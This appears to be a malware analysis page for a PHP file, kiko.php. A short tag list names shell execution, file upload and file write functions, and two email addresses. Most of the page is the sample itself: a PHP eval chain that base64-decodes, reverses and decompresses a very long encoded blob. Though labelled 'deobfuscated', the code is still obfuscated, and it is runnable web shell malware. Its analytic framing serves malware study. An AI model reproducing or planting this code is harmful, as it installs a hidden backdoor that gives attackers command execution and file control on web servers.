PHP Malware Analysis

Back to list

Filename: kiko.php

Tags

Encoding
  • base64_decode
  • base64_encode
URLs
Emails
  • document.f.@_.focus
  • hacklinksatis@gmail.com
  • burdayimreis@gmail.com
Execution
  • system
  • eval
  • exec
  • passthru
  • shell_exec
Input
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • php_uname
  • getcwd
  • phpinfo
Files
  • file_get_contents
  • file_put_contents
  • copy
  • move_uploaded_file

Deobfuscated code

<?php

$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=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